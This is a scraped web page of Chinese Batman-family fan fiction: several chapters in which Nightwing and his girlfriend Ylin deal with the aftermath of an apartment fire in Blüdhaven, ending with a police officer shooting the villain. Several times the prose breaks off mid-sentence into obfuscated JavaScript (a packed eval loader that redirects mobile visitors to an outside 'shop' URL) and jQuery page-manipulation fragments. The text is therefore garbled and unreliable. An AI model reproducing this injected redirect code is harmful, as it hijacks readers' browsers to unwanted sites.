l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983652|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在重工业没落的大背景下,政府曾考虑过大力发展旅游业,红点停留的那一处就是曾经规划中的景区之一。 那时候开发商得知消息后,投资重金开始在附近建造楼盘。谁知才建到一半,新的市长上任,开发旅游区的事情也搁置了。想象中的海景房破灭,只留下没拆除的手脚架在海风的侵蚀里生锈腐朽。 黑夜里,伊琳的手表投射出一圈白光。 她伸手抓住一张乱飞的报纸,攀爬上临时的钢筋搭成的阶梯,看到了盖着报纸沉睡的夜翼。 他看起来......甚至比之前更狼狈。 多米诺面具依旧贴在脸上,他露出的下颌带着青黑色的淤青,嘴角有着血迹。黑色的制服看起来斑斑驳驳,撕裂的缺口底下露出粘着灰尘的血口,有些结着深红的血痂,有些还是鲜红色的。 他躺着的姿势看上去很不舒服,上半身斜在高处的铁质阶梯上,腰部折了九十度角,一双长腿垂下,盖过了三级阶梯,阶梯的棱角顶在他的腿上。 可他并没有被伊琳的动作给惊醒,哪怕年久失修的阶梯不断发出螺丝和铁柱摩擦的声音,阶梯随伊琳的步子微微轻晃。 毛绒的齐特卡在阶梯内侧,和他的脸靠在一处,象鼻子垂落在他的脸颊上,让他看上去多了几分柔软。 伊琳在他下面几级蹲下,心中翻涌起莫名的情绪。 “天呐,我完蛋了。”她小声说,伸手拦住被风吹起的报纸,等风平静时,又重新盖在他身上,“我好像是真的,很认真地喜欢上你了。” 喜欢到什么程度呢? 伊琳蹲在狭窄的阶梯上,很用力地思索着。 大概就是喜欢到,哪怕爸爸和博士这会儿过来接她,她也无法狠下心离开,总要看着他好起来,甚至想办法穿梭在两个宇宙间。 她抱着腿,迷迷糊糊地想着,流离的思绪逐渐变得没有逻辑,一会儿是齐特卡突然变成了个宇宙飞船,用象鼻子卷着他们飞;一会儿又是她躺在塔迪斯的屋顶上,屋顶突然裂开,她重重摔落下去,摔得腰酸背痛的。 ……腰酸背痛这点,好像并不是做梦。 当她听到有人唤自己的名字,龇牙咧嘴地醒来时,腰背酸痛得像是一只缓慢复原的解压玩具。 她睁开眼,用手掌遮着光,适应正午的阳光后,将目光投向身前的阴影,看见夜翼神情复杂地看着她。 “嗨!”她笑道,“不给我个早安吻吗?” 夜翼没有笑,神情疏离里带着不舍的沉痛,像是坚定地告别后趁人不注意回头看的最后一眼:“你不该来这儿。” 伊琳的笑容变得戏谑:“有没有人告诉过你,你有时候听起来像蝙蝠侠。” 夜翼一怔。 “我不是来干涉夜翼的工作的,”伊琳收敛了笑容,坚定说,“但我要行使作为迪克·格雷森女朋友的权利,我要迪克·格雷森的时间。” “吃饭,休息,睡觉。 “我要迪克·格雷森好好地生活着,而不仅仅是活着。” 32.公寓起火的第三天 迪克向来是一个渴望且依赖人与人之间连接的人。 幼时在马戏团的他永远行走在路上,会与各式各样的人相识然后分别,但马戏团这个大家庭永远紧紧联系在一起。他们拥有的不多,但一直拥有彼此,他们在欢笑与汗水中大声地说出对彼此的忠诚信任。 所以,他是一个向往家庭的人,也是一个极为善于表达情感的人。 不过韦恩家的其他人在情感表达方面似乎总有些障碍,但没关系,他从不吝啬于对任何一句吐露情感或关心的话语展露自己的感激和欢欣。 作为神奇小子,他会在蝙蝠侠默不作声地在蝙蝠洞里安装上高空秋千时,给他送上一个大大的拥抱;被戏谑地称为“鸟妈妈”的他,会在小鸟们别扭地吐露或寻求爱与关心时,把他们拽到沙发上,紧紧相依着来一场电影之夜。 但夜翼不同。 他在布鲁德海文所建立起的联系,以及马戏团的过去,全在大火里被付之一炬。他或许从未从火场里离开,一直被封在厚厚的灰烬里,心里被烫出疼得钻心的水泡,挟着滚烫的愤怒,向敌人席卷而去。 因此,当伊琳固执地想要拨开他身上火烧火燎的灰,让埋藏在里面的迪克·格雷森露出来时,夜翼感到有些手足无措。 迪克的那一面刚要探出头来,就被夜翼给强行压了下去——他告诉自己,他现在还没有资格休息。 夜翼托了托原本就牢牢戴在脸上的面具,沉声说:“现在是夜翼的工作时间。” 伊琳看了眼天色,正午的阳光依旧耀眼:“好吧,那迪克什么时候上线?” “我不知道。” 空气里的硝烟味随夜翼的离去而消散,伊琳在咸湿的海风里坐下,手放在铁质阶梯上,蹭了一手铁锈。 手机的电量已经飘红,伊琳在备忘录上敲敲打打,罗列的清单长度不断增加。 复制,粘贴,发送。 她捏着手机等,不一会儿,备注是“房东”的号码打了进来。一接通,那头的声音就从重重的枪声里传了过来:“你给我发的是什么玩意儿?” 伊琳挑起眉毛:“你那边在干什么?” 红头罩向前倾了倾身子,透过破碎的玻璃门看了眼被手下围攻的黑面具酒吧据点,又舒舒服服地躺回了椅子上,懒散道:“没什么。你还没回答我的问题。” 伊琳理直气壮:“给租客提供必备的生活用品是房东应当履行的义务。” “首先,我不觉得房东有义务给租客提供面包、牛奶、瓦斯罐、瓦斯炉、烧锅、预制牛肉......”红头罩眼睛扫过清单,语气越来越诧异,“其次,单人床垫配铁质框架以及六七种不同长度的支柱。” “你要这玩意儿干什么?”红头罩百思不得其解,“房子里不是有床吗?而且你现在也不在哥谭啊?” 伊琳打了个响指,总算意识到自己遗漏了什么:“我把地址发你。” 红头罩看着屏幕上“布鲁德海文海岸线几百米外的烂尾楼”的模糊指向,在难言的复杂情绪里沉默了一会儿,就又收到了一张伊琳发来的照片。 建筑工程临时使用的铁质阶梯架上搭着几张单薄的报纸,旁边的楼房只建了个外部框架,没有楼层地面。 他看着伊琳发过来的清单咂摸了一下,惊异道:“你要把床搭在这上面?”那不同长度的支柱明显是用于把床垫支在临近的几级阶梯上。 “嗯哼,”伊琳强调,“两张床。并且我不是想不开的那一个。” “迪基他......”红头罩顿了顿,听起来有些犹豫,“他怎么样?” 同样的照片再次被发送过来,这次伊琳在报纸覆盖的区域画了一个大圈,并用大写字母写道:“没!有!床!” “好吧好吧,”红头罩的担忧里掺杂了几分哭笑不得,“我会尽快找人把东西送过来的。” 他又补充了一句:“如果那家伙要干什么傻事,直接把他打晕了带回来。你要是打不晕他就告诉我,我很乐意代劳。” “我会的。” 因此,当夜翼在凌晨三四点归来时,远远就看到自己栖身的角落多了两块黑影。抓钩的一点银光隐没在夜色里,他腾空而起,谨慎地翻到黑影之上,落地时阶梯微微晃了晃。 他防备着的攻击并没有出现,黑影突然被顶出一块儿,紧接着,一只手从黑影里探出来,冲着他挥了挥。 “你总算回来了。”声音里还带着睡意。 夜翼提着的劲一松,心里的一块地方酸软得像是过度的运动后被按开紧绷的肌肉。 他一时间说不出话,只轻声说了句“嗨”,喉咙黏连着,嗓音喑哑得厉害。 他咳嗽了声,又说:“你怎么没回去?” “回哪儿?”伊琳探出头来,拍了拍身下的东西,“你睡这儿,我也睡这儿。” 离得近了,再加上旁边一盏小夜灯的照明,夜翼才意识到那两个新出现的阴影竟然是两张一上一下的床垫,上面枕头被子一应俱全。 伊琳招手让他靠得更近些。 等他犹豫着脱了靴子,在伊琳的床垫上膝行到边缘,才看见阶梯的内侧还放着一个瓦斯炉,上头架着一个瓦罐。掀开盖子,还能隐隐闻到炖牛肉的香气。 伊琳旋了下按钮,蓝色的火跳动在瓦罐底下,香气一下子活了起来,直往夜翼的鼻子里钻,他忍不住咽了一下口水。 伊琳又不知从何处掏出了一包蒜香面包,虽然已经变得冷硬,但吸饱了牛肉的汤汁后,依旧柔软又温暖。 仔细想想,这或许是他这段时间里吃得最像样的一顿饭,即使他是趴在一张架在烂尾楼旁的床垫上吃的。 “谢谢。”他说,“你不用担心我,你先回哥谭吧,我很快就会去找你。” “很快是多快?” 夜翼又不说话了。 他不愧是被蝙蝠侠给养大的,确实还是有相似之处,抿着嘴不说话的时候尤其相似。 不就是不说话嘛,谁不会似的。伊琳气闷地想。 她把被子卷起来,将自己裹成一个蚕蛹,推了推夜翼,示意他去另一个床垫上。 两人本该就这样安睡,直到第二天中午,再进行一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987153|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场短暂又没有结果的争论——如果布鲁德海文没有下雨的话。 作为一个施工用的阶梯,它的宽不过一米,被床垫严严实实占满。床垫底部的一圈被木质架子托着,横跨了六七个阶梯,被每个阶梯上安着的高矮不一的细小柱子支成水平的状态。 高处的阶梯与床垫之间缝隙极小,低处的倒是留出了一个大空档,能让人从柱子之间钻进去,蜷着身子在床垫底下避雨。 伊琳和夜翼就这样一人在上一人在下,隔着狭窄的缝隙,对上了眼神。 “我以为你不怕雨,毕竟你选择睡在海边的露天地点。”伊琳说。 “我前两天运气好。” 伊琳不满:“那是我把雨带过来的吗?” “不,”迪克的声音里带上了久违的笑意,“你还带来了床垫。” 高处的水顺着铁栏杆淌下来,一路上被铁锈染成了淡红色。床垫的避雨效果并不那么好,海风从海往岸上吹,雨水斜斜地钻进来,又细又密地落在人的身上。 雨下得很大,敲击在钢铁和水泥楼房上,发出高低不一的音调。声音无序里又带着规律,愤怒又茫然的心脏跟着雨的韵律似乎再一次学会了如何安静地去跳动,迪克的呼吸平稳起来,捕捉着空气里的清凉和湿润。 火场的烟尘会随着这样的雨漂泊到下游的水里、沉到土里,当他再一次走过那片街区时,弥久不散的硝烟味也会散去。 他不能遗忘这些因他而死的人,但他不确定,他究竟是在带着这些记忆前进,还是下沉。 雨水的凉意一点点沁入他的大脑,他抹了一把脸上的水,视线重新变得清晰。 伊琳依旧在缝隙的那一边看着他。 还有很多人都在他看不见的地方看着他,家人、朋友、敌人。 他看着伊琳皱着脸艰难地翻了个身。 他突然笑得上气不接下气,眼里翻涌出温热的液体,气喘吁吁地说:“没用,一点都没用。” “什么?” “我说床垫,一点都挡不了雨。” 伊琳沉默了一会儿——她或许意识到了迪克话里真正指向的事,他赎罪般的自我折磨既不能给自己带来安宁,也不能为死者主持正义——但她只是说:“我们现在换地方及时洗个热水澡的话,或许不一定会感冒。” 迪克从床垫底下钻了出来:“那我们还在等什么?” 他摘下了面罩,泪痕被密集的雨冲刷干净。 夜翼的制服被剥离身体,伊琳静静地看着他身上斑驳的伤痕,伤口在雨水中被泡得发白。 从背包里翻出的卫衣穿在身上,不一会儿就湿透了。 “走吗?”伊琳伸出手。 迪克垂下眼,两只冰冷的手相触,紧握在一起,手心里渐渐能感受到彼此的温度。 “没有伞吗?”迪克问。 “没有,”伊琳拉着他飞快地跑下阶梯,“所以我们最好走得快一点。” “床垫怎么办?” “如果没有人把它们偷走的话,天气好的时候我们说不定可以来看星星。” 33.公寓起火的第四天 摩托车破开雨帘,雨珠敲打在头盔上,震得人头晕脑胀。 他们在街巷上兜兜转转,最终还是选了伊琳曾经住过的小旅馆。 旅馆的门上还挂着二十四小时营业的标牌,但两人依旧在前台按了许久的铃铛。衣服滴滴答答的淌下的水积起了一小摊,工作人员才面色不善地从后面的休息间转了出来,扔出一把客房的钥匙。 锁芯大概也锈了,钥匙捅了好几下才进去,伊琳站在门口连打了几个喷嚏。 热水器约莫是太阳能的,洗到后半段时水已经有些偏凉了。 伊琳想了想,又探出身子:“一起吗?” 在灯光下,迪克身上的伤显得更为扎眼:他的小腹有一大块黑紫的瘀伤,其余散落着的淤青无数,伊琳还看到他胳膊上一条缝针的伤口,针脚很粗糙,将伤口随意地拉扯在一起。 她非常故意地、重重地叹了一口气:“瞧瞧你,把我男朋友弄成了什么样子。” 她微微向前倾身,水温已经低于体温,倒是迪克身上更热一些:“但没关系,我会把你修补好的。” 阿尔弗雷德准备的包里有一些医疗用品,全都装在真空的袋子里,在雨水的侵蚀里躲过一劫。 房间里渐渐飘散开浓重的碘酒气味,迪克的身体被涂上一块块黄色。 “应该用酒精的,”伊琳说,“这样你才能记得住疼。” 迪克点点头:“那记得提醒我谢谢阿福放过我,没在包里放酒精。” 伊琳嗤笑了一声,故意拉出一大截医用胶带,和纱布一起贴在迪克的皮肤上,又用力撕下,非常不走心地说:“哦,贴错位置了。” 迪克猝不及防吸了口凉气,看着皮肤上留下的明显红印,对伊琳幼稚的报复行为无言以对。 但在这样的插科打诨中,他的心情莫名地松弛了下来,隐隐有了些倦意。 “我会找到一条路的。”他让伊琳微湿的头发在指间滑过,“相信我。” ** 伊琳对他的信任持续了十几个小时,毕竟他和她告别时是那样神采奕奕,坚称自己找到了一个最好的办法。 然后他又一次浑身是伤地敲响了旅店房间的窗,如果不是伊琳及时地开了窗,他看起来像是要从窗台上掉下去。 事实上,他也确实掉在了房间里被香烟烧出了一个洞的地毯上。 夜翼看上去比之前狼狈得多,他尝试着用手臂支撑起身子,却又抽着冷气狼狈地倒回地上。刚换上的备用制服也变得像在石灰堆里滚过一般,到处都是灰白色的印子,还有些细小的裂口。 但他看上去很开心。 “我就快解决这件事了。” 他脸颊肿着,说话含糊不清,但伊琳还是想办法弄清楚了他所想到的天才主意:让仇恨他的罪犯把他打一顿,在情绪的宣泄中自认雇人纵火杀人的罪状。 “没有威胁暴力,完全符合取证的要求。”他高举着录音笔,愉快道。 伊琳惊异于他在受了如此打击后依然坚持程序正义,但或许这就是将他牢牢固定住的地基,他因此成为恒定的在黑暗中闪耀的灯塔。 她忍不住低头吻上他闪闪发亮的眼睛:“恭喜。” “我们能走了吗?”窗边传来一个有些耳熟的声音。 伊琳直起身子,抬头望去,只见狼蛛女四肢黏在窗框上,整个人倒转过来看她,露出一个挑衅般的笑:“不要再浪费时间了,我们还要干正事呢。” 夜翼从地上跳了起来。 伊琳似笑非笑地看着他:“没想到你带了客人过来。”她转向狼蛛女:“不过一个懂礼貌的客人可不会走窗。” 狼蛛女将舌尖从齿缝里伸出来,做了一个挑衅的动作:“你的腿怎么样了?大概还爬不了窗?” “你是因为太弱了不敢独立行走,非要给自己找个鸟妈妈吗?”伊琳反唇相讥,“不过蜘蛛可是在鸟的食谱上。” 夜翼不想问到底是谁一直在给伊琳灌输他的外号,只是扭头制止了狼蛛的反击:“如果你想和我合作,就不要一直惹事。” “现在可是你有求于我。” 夜翼转向伊琳,解释道:“狼蛛的哥哥是检察官,我们会把证据交给他进行起诉。” 伊琳说:“我不相信她。” “彼此彼此,我也不相信你。”狼蛛女冷笑,“但我比谁都想巨汉死。” 伊琳这时想起了公寓火灾的遇难者名单上约翰·劳这一名字——一代狼蛛,狼蛛女的导师。 她重新端详狼蛛女,在她的眼神里读到了熊熊的怒火和仇恨。 她有些意外,狼蛛女竟然没有直接采取以血还血的朴素复仇手段,毕竟她看上去并不像那么迂回的人。 狼蛛女的神情越发不耐烦,但还是忍住了没出言争吵,只是催促道:“还走不走了?” 夜翼比了个手势,示意她稍等片刻。 伊琳看着他们的互动,恍然大悟:当夜翼这样的义警身体力行地证明自己能够克制住愤怒,执着地走一条有序理性的正义之道时,所有力图主持正义的人大概都会心甘情愿追随。 ……至少在这条有序之路遇到阻碍前,追随者会愿意尝试在上面行走。 但阻碍来得比伊琳想象中快得多。 午夜的布鲁德海文再次下起了雨,伊琳住的房间在小旅馆的顶楼,天花板靠窗的部位终于不堪重负地渗出了水,顺着墙壁往下淌。一部分渗水滴在大理石的窗台上,发出清脆的响声。 屋子很小,床离窗子不远,雨水落在窗台后,变做四处飞溅的小水珠,总有几滴落在了伊琳的脸上。 她刚酝酿出些睡意,又被皮肤上冰凉的触感给唤醒。如此反复,彻底睡不着了,索性起身走到窗边,打算看看渗水的行进轨迹,研究下能不能让雨水的旅途终结在窗台。 旅店只有三层,层高也低,一楼的柏油路仿佛伸手就能碰到。因此,哪怕只是随意的一瞥,她也不会错认楼下的那人。 黑色的紧身衣,背上背着两根棍子,坐在旅店后门的台阶上,佝偻着背,从伊琳的角度还能清楚看到他后背那抹V字型的蓝色。 他的头发在雨里塌了下来,发尾都被雨水打得笔直,一缕一缕地粘在脸颊上。 他把头埋在膝盖间,双臂交叉抱住腿,手紧紧地掐进自己的肉里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007209|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夜翼听到了接近自己的脚步声,他猜到了会是谁,哪怕他猜错了,他也没有再战斗的力气了——之前的伤仿佛突然间全都爆发了出来,全身的每一处骨头仿佛都被折断过,只是虚虚地搭在一起,又被冷雨冻进了骨子里——所以他只是低着头,没有动弹。 直到大滴大滴和降雨方向不同的水落在了他的身上。 他抬起头,看见伊琳正咬牙切齿地同被风吹得翻了个面的伞作斗争,她努力将伞骨扒拉下来,伞骨却非常不给面子地向上支棱。随着她的动作,伞顶积起的水到处挥洒开来。 “我来吧。”夜翼接过伞,将伞面恢复了原样。他站起来时眼前一黑,身形微微打晃,都还是躲开了伊琳搀扶的手,稳住了身体,又把伞微微向伊琳的方向倾斜。 “你不该在这里的。”夜翼说。 看着他失魂落魄的样子,伊琳懒得和他计较:“提醒你一句,这是我开的房间。” “你不该在这里,”夜翼重复了一句,,“我会害死你的。” “好吧,”伊琳抓住他握伞的手,强行把伞换了个方向,“至少先确保你不会害我感冒再聊别的吧。” 夜翼勉强牵起嘴角,跟着她跌跌撞撞地走进旅店。 从他的叙述中伊琳得知,狼蛛的确决心强烈地想让巨汉伏法,但她的哥哥早就和巨汉达成协议,以换取巨汉在执法部门的关系网对狼蛛所作所为的视而不见。 夜翼用一身伤换来的巨汉供词已经被毁了,再想办法获得同等重量的供词将无比艰难。 更何况,狼蛛已经没有耐心再来一遍了。 伊琳裹在浴巾里,盘腿和迪克相对而坐。迪克刚洗完热水澡,身上还冒着热气。她向迪克的方向挪了挪,又嫌弃地用浴巾的一角捏了捏迪克还在滴水的头发,犹豫了一会儿,说道:“你有没有考虑过,让狼蛛去做自己的事。” 迪克的下巴一紧,手指无意识撕扯着血痂的动作顿住了:“......但是我知道。” 他考虑过这种可能性,如果他只是停歇一下,只是放手,不去看、不去问,巨汉带来的一切麻烦或许就会就此终结。 但是他无法欺骗自己这一切和他没有关系,无法说服自己,他的放任不是造成死亡的决定性一环。就当是蝙蝠一家的习性吧,他早将布鲁德海文视作自己的辖区,在上面奔跑的一切蒙面者都是他的责任。 他不能这么轻易地将这一切丢出去,尤其是丢给像狼蛛这样初出茅庐又满怀愤怒的人。 她不知道自己在面对什么。 或许他知道的也不那么确切,但他每一分每一秒都能看见那个丧钟向他展示过的深渊。 他拥有力量,但力量一定需要约束。如果有一天连生命的重量都被他视若无物,他该如何确认自己依然走在一条有序的道路上呢? 伊琳依旧看着他,她的目光在催促他再一次审视那个无比诱人的可能性——离开这里,去哥谭,去泰坦,去宇宙。等他回来的时候,一切都会结束的。 他抓紧了换下来的制服,那上面遍布着巨汉造成的裂口和划痕,蓝色依旧在胸前闪耀。 “我会找到方法的。” 34.公寓起火的第五天 伊琳目送着夜翼从窗口离开,从枕头底下掏出手机,点开未接来电列表,拨通了电话。 铃声只响了一下电话就被接通了,那头传出杰森如释重负又气急败坏的声音:“我打了你七个电话!” 伊琳用指尖摆弄着一个微型耳机:“迪克才刚刚离开。” “哦,”杰森的声音低了下去,“昨天晚上不太顺利,对不对?” 他嗤笑一声:“我早就知道,把罪犯留给别人去审判处刑有太多不确定因素了。”他拖长了声音,句尾上扬:“所以我们的计划?” 伊琳把微型耳机捏在手心里:“我已经在他的制服里放上了定位器和监听器,随时能掌握他的动向。” “很好,”杰森打了个响指,“我马上就过来,只要他和那个叫巨汉的家伙见面,我保证巨汉看不见第二天的太阳。” “不,你不需要过来。” 迪克在昨夜已经态度明确地拒绝了这个方法,而且对他来说,让杰森动手或许甚至比让狼蛛动手更糟。 “什么?” “我会找其他人做这件事。” “找谁?”杰森说,“那几个被蝙蝠洗脑的家伙绝不会选择一了百了的解决方式。” “但是在你们这套体系之外,有人可以做这件事。”伊琳提示道,“迪克曾经是这个体系的一份子。” “警局?你确定他们不会对着夜翼开枪?” “你知道迪克被警局开除了对吧?猜猜看,他是因为什么被开除的?” 伊琳接着说:“接着猜,既然他只是被开除,那位警官到底介不介意在夜翼和杀人犯之间,选择帮夜翼一把?” “虽然我还是喜欢把事情掌握在自己手中,但这次姑且先按你说得来。如果你失算了,我会过来补上那一枪。” ** “你以为我会杀了你吗?”巨汉庞大身躯投下的影子笼罩着他,“不,那太便宜你了。我要让你痛苦,让你尝尝失去一切的滋味。” 夜翼紧握着卡里棍,头脑里乱七八糟的思绪搅在一处:他可以拿下巨汉,虽然要经历一场苦战,但是他应该可以做到。但是然后呢?他已经失去了所有指向巨汉的证据,巨汉在执法机关里的关系也不会对调查起到任何积极意义。 “听说你是一个绅士,”巨汉压低了声音,笑得让人毛骨悚然,“会帮人推开门、会扶老人过马路?那我劝你改掉这些习惯。” “因为我会把所有和你有交集的人一个个杀死,哪怕他只是在马路上和你擦肩而过。还有给你递咖啡的服务员、冲你点头的前台接待,他们都会因你而死。” “只要你活着,只要你还出没在人群里,就会有人因你而死。” “为什么这幅表情?”看着夜翼的胸口剧烈起伏着,巨汉抬起手臂随意地接下他挥出的一棍,“你不应该早就习惯了吗?让别人因你而死,这对你来说难道是新鲜事吗!” 巨汉的最后一句话近乎是怒吼,大掌挥出,挟着凌厉的风,打向夜翼的颈侧。 夜翼一个后空翻,脚尖踹向巨汉的下巴。 巨汉只是停顿了一下,揉了揉下巴,动作的速度和力量丝毫没受到影响。 一道橙黑色的身影冲了上来,又像掉落的风筝一般被巨汉击飞出去:“我没空和你玩游戏,小蜘蛛。” 夜翼揉了揉手臂上因为紧绷而发颤的肌肉,再一次摆出了攻击的架势,但迟迟没有真正出手。 他深知和拥有异于常人的力量和防御的反派过招的要点:敏捷地周旋,拉开距离,利用地理环境。 但问题依旧是,然后呢? 巨汉继续说着话:“我记得你有个小女朋友?希望你今天出来的时候和她告了别。” 愤怒和恐惧同时冲上头脑,夜翼脚尖点地,夜翼镖和卡里棍在同一刻朝着巨汉的关节薄弱处飞去。巨汉身子一歪,单膝跪倒在地,和夜翼视线相对,露出残忍的笑:“但我会确保她知道,是你害死了她。” 猩红的颜色蒙上了视线,他再次听到小丑怪诞的笑声,感受到了指关节的疼痛和覆盖着的粘稠液体。他看到丧钟站在他面前,手握着纳米探针的操纵器:“你让我很失望。你不会再见到她了。” 那是假的。他对自己说。 在知晓了新版恐惧毒气的原理后,他甚至能够猜到现在恐惧毒素是如何在血液中再生、蔓延,作用在他的神经上的。但他对此毫无办法,越来越多的幻象与幻听占据了他全部的感官,巨汉在他的视野里消失了,只留下层层叠叠的尸体堆出的高山。 熟悉的嗓音像遥远的风铃声一般,在风声里断断续续地传来。他皱起眉头,冰冷凝滞的思维怎么都反应不过来发生了什么。 “那么不好意思,让你的手下扑了个空。”伊琳从楼梯间探出头,“我想BPD等会儿会顺道去旅店检查一下的。” 巨汉错愕地回头,很快便反应过来:“我不介意自己动手。” “你和他废话什么!”狼蛛女不知何时再次来到战场中心,手中举着一把枪,黑洞洞的枪口指向巨汉,“马上就要结束了。” 伊琳冲上去,抬高了她的枪口,子弹擦着巨汉的头皮过去。狼蛛手肘击向伊琳的胸口,又被伊琳扣住手腕。 狼蛛女怒道:“你到底在帮谁?” 巨汉看起来有些回不过神,但还是勾起了嘴角:“你果然和夜翼很像。” “不,我只是不想干扰警方办案。”还没待巨汉反应过来,她就按着狼蛛女和她一起蹲了下来。 一道声音从她的身后响起:“BPD办案,举起手来。” 巨汉回头找着声音的来处。 “我给过你机会了。”虽然还不到一秒,但大概也算尽到告知义务了吧。 艾米声音有些发颤,但手指坚定地扣上板机。 巨汉的额头上多了一个血洞。 “哇,”伊琳吹了一记口哨,“枪法不错。” 艾米看起来脸色发白,像是还被那一枪的余震影响着,不可置信地盯着巨汉的身体看了好久。 这种菜鸟的反应本不该发生在艾米这样经验丰富的探员身上。 但伊琳无暇去细究这件事——夜翼仍然姿势僵硬地站在原地,眼神涣散,额头上布满冷汗。 “嘿,迪克。”伊琳捧起他的脸,让他对上自己的眼睛,手指轻柔地在他的太阳穴上打着圈,“听得到我吗?你很安全,一切都过去了。” 夜翼剧烈地喘息着,瞳孔扩大。 伊琳从他的万能腰带里翻出恐惧毒素的解药,摸索到他脖子旁边的静脉,一针扎了下去。 夜翼的身体僵硬了一瞬。 “没事了。”伊琳的指尖按住针孔,凑在他耳边轻声安慰,嘴唇扫过他的耳垂,“一切都过去了。” 夜翼的呼吸逐渐平静下来,伊琳搂住他的脖子,和他视线相对,看着他清明许多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13023998|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神,不由得笑了起来:“我好像一直在唤醒你。是不是,睡美人?” 她微微踮起脚尖,含住了夜翼的唇珠。 ……亲吻的感觉,很安全。 夜翼闭上眼睛,近乎是感激地追随着她的动作:感谢上天,她没事。 鼻尖萦绕着柔软的、温暖的果香,伊琳轻柔地摩挲着他的唇,滋润干裂流血的嘴唇。她的呼吸里夹杂着轻笑声,手指穿过他的头发,抓着他按向自己,把吻印得更深。 他恨不得永远这样闭着眼睛,只留下皮肤上的触觉。可他不由自主地追溯着刚刚的记忆,努力在幻觉中分辨着真实。 他记得,自己听到了一声枪响。 夜翼霎地睁开眼,后退一步,挣开伊琳的怀抱,眼神茫然失措地四下扫视,毫不费力地发现了不远处倒着的巨大身躯。 “他......”他喉咙发紧,难以说出一句完整的话。 “他拒捕,死了。”艾米走进了他的视线,虽然脸色很难看,但还是尽力将语气放得轻松,“别像个菜鸟似的。” “艾米。”他的视线不断地在巨汉和艾米身上跳来跳去,“你怎么来了?” “你就把海文的警察想得那么没用?”艾米佯装不快地说,“什么事都要你冲在前面?” “不,我是说......”他突然觉得手里一重。 低头一看,熟悉的警徽被放在了他的手中。伊琳抓着他的手,带着他将手指合向掌心,握紧了警徽。 “如果你想找一个锚点,确保自己没有自恃力量而肆意妄为,它其实一直就在你的手里。”伊琳说,“你可以有更多选择,以不止一种身份行使正义。” 夜翼看看伊琳,又看看艾米,张了张嘴:“我......” 艾米笑着伸出手:“格雷森警官,欢迎回来。” 迪克犹豫着摘下多米诺面具,握上了艾米的手。 金属警徽的棱角陷入他的皮肤,感受着警徽沉甸甸的重量,他却觉得心里的大石头为之一松。 固然他从小就知道,他们捍卫的是正义,而非仅仅是法律——在法律所顾及不到的边缘,他们会以自己的方式贯彻正义。但自从丧钟一事后,他亲身经历过并知晓傲慢与盲目会让人如何轻视生命,将复杂与珍贵的生命看得简单轻易。 所以他不断让自己正视生命的重量,逼着自己去感受、去想象自己每一个决定所造成的后果,哪怕被压到难以呼吸。 但警徽是一个......截然不同的可能性和思考问题的方式。 哪怕法律并不完美,但经过数百年的积累修订,它以自己的方式计算着生命与罪恶的等价公式。底下的执行者是法律伸出的枝桠,负重被厚重的体系所分担。 这有点像作弊,但至少感觉起来还不坏。 如果有一天,布鲁德海文真的能完全依靠系统里的好执法者们运行起来,迪克·格雷森或许真的能只当个小警察来守护这座城市。 至于夜翼......泰坦塔会是个不错的归宿,甚至有可能的话还可以考虑正义联盟? 冰凉的雨水开始落在他的脸上,他偏过头,看着巨汉身边血水混着雨水,流淌向天台的泄水孔。 “你们都走吧,”艾米说,看起来莫名有些紧张,“我还要勘查一下现场,还有一堆文书工作等着我呢。” 她拍了拍迪克的肩膀:“再给你一周假,下下周一准时来上班。” 35.宇宙融合的第一天 “谢谢你愿意来见我。” 椅子转回桌前,就着窗外路灯的光线,伊琳只能看见艾米的轮廓。她抱着手臂,眼神扫过桌上放着的枪和散落的子弹,玩笑道:“警长连加个班都要偷偷摸摸的吗?” “抱歉,我只是......”艾米按了按额头,“灯的开关就在门口,劳烦你帮我开一下。” 伊琳开了灯,冷白色的灯光照得艾米的脸色更加苍白。她在艾米对面的椅子上坐下:“你看起来脸色不好,遇到什么麻烦了吗?” 艾米勉强地笑了笑:“我不能确定。” 她将桌上的配枪和子弹推向伊琳:“我想给你看看这个。” “□□手枪,”伊琳动作熟练地推出弹夹,并不意外地看到里面是空的,然后点了点桌上的子弹,“十六枚子弹。”离满弹夹少了一枚,大概是在巨汉的脑子里。 伊琳摊开手:“我没看出有什么问题。” “那你再看看这个呢?”艾米从口袋里掏出了一个证物袋,里面装着的子弹与桌上的几枚别无二致。 